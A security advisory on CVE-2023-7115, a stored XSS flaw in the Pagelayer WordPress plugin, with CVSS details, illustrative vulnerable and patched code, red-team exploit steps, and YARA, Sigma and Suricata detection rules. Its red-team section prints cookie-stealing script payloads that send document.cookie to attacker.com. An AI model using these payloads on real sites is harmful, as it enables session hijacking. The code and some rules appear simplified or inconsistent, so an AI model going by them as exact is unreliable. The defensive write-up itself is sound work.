CVE-2023-7115

Executive Summary

CVE-2023-7115 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer WordPress plugin, affecting versions prior to 1.8.1. This flaw allows authenticated users with high privileges (e.g., Administrator) to inject arbitrary web scripts into plugin settings, which are then stored and executed in the context of other users' browsers. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses this restriction. Successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of the plugin update (version 1.8.1) by checking the plugin's checksum or signature if available. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (victim must visit the affected page)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the attack requires high privileges, the impact is amplified in multisite environments where admin-level users may not have unfiltered_html capability. The vulnerability is trivial to exploit once access is gained.

Deep Dive & Mechanics

The vulnerability resides in the Pagelayer plugin's settings page. The plugin fails to properly sanitize and escape user-supplied input before storing it in the WordPress options table. When an administrator saves settings containing malicious JavaScript, the payload is stored and later rendered without proper escaping in the admin dashboard.

Root Cause: The plugin uses update_option() or similar functions without applying sanitize_text_field() or wp_kses() to the input. Additionally, output is not escaped using esc_html() or esc_attr() when displaying the settings.

Attack Flow:

1. Attacker with admin privileges navigates to Pagelayer settings.
2. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is stored in the database.
4. When another admin (or the same admin) views the settings page, the script executes in their browser.

Multisite Impact: In WordPress multisite, super admins can restrict unfiltered_html for site admins. This vulnerability bypasses that restriction because the plugin does not check for the capability before saving.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.8.1):

// In pagelayer-settings.php
function pagelayer_save_settings() {
    $settings = $_POST['pagelayer_settings'];
    update_option('pagelayer_settings', $settings);
}

Patched Code (1.8.1):

// In pagelayer-settings.php
function pagelayer_save_settings() {
    $settings = $_POST['pagelayer_settings'];
    $sanitized_settings = array_map('sanitize_text_field', $settings);
    update_option('pagelayer_settings', $sanitized_settings);
}

The patch applies sanitize_text_field() to each setting value, stripping out HTML and JavaScript. Additionally, output escaping should be verified in the display function.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Pagelayer plugin < 1.8.1
• Admin-level credentials

Exploit Steps:

1. Log in as an administrator.
2. Navigate to Pagelayer → Settings.
3. In a text field (e.g., "Custom CSS" or "Footer Script"), inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. When any admin visits the settings page, the script executes, exfiltrating cookies.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to the pagelayer_settings option in the database.
• Look for HTTP requests to unknown external domains from the admin dashboard.
• Review server logs for POST requests to /wp-admin/admin-post.php with suspicious parameters.

Hardening:

• Apply the patch immediately (upgrade to 1.8.1).
• Implement Web Application Firewall (WAF) rules to block XSS payloads in admin pages.
• Restrict admin access to trusted IPs.
• Enable Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/pagelayer/pagelayer-settings.php (vulnerable version)
• Database Option: pagelayer_settings containing <script> tags
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin
• Logs: POST /wp-admin/admin-post.php with pagelayer_settings parameter containing JavaScript

Detection Engineering

YARA Rule

rule CVE_2023_7115_Pagelayer_XSS {
    meta:
        description = "Detects Pagelayer plugin files vulnerable to CVE-2023-7115"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7115"
    strings:
        $vuln_func = "update_option('pagelayer_settings'" ascii wide nocase
        $sanitize_missing = "sanitize_text_field" ascii wide nocase
    condition:
        $vuln_func and not $sanitize_missing
}

Sigma Rule

title: CVE-2023-7115 Pagelayer Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2023-7115 via admin settings save
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'pagelayer_settings'
    keywords:
        - '<script>'
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate admin use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7115 Pagelayer Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"pagelayer_settings"; http_client_body;
    pcre:"/(<script|onload|javascript)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-7115;
)

Remediation & Mitigation

1. Immediate: Upgrade Pagelayer plugin to version 1.8.1 or later.
2. Verify: After update, check that pagelayer-settings.php contains sanitize_text_field().
3. Audit: Review all admin accounts for unauthorized changes.
4. Monitor: Enable logging for admin actions and review for suspicious settings modifications.
5. Long-term: Implement a WordPress security plugin that monitors file integrity and blocks XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst